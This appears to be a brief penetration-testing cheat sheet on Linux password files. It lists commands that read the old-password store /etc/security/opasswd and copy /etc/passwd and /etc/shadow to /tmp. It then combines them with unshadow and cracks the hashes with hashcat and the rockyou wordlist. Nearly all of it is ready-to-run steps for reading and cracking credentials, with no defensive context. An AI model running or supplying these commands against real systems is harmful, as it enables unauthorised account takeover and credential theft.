password-location

Old password locations

sudo cat /etc/security/opasswd

Cracking linux passwords

sudo cp /etc/passwd /tmp/passwd.bak

sudo cp /etc/shadow /tmp/shadow.bak

unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadow.hashes

Cracking hashes

Md5 hash --- 500

hashcat -m 1800 -a 0 /tmp/unshadow.hashes /usr/share/wordlists/rockyou.txt -o cracked.txt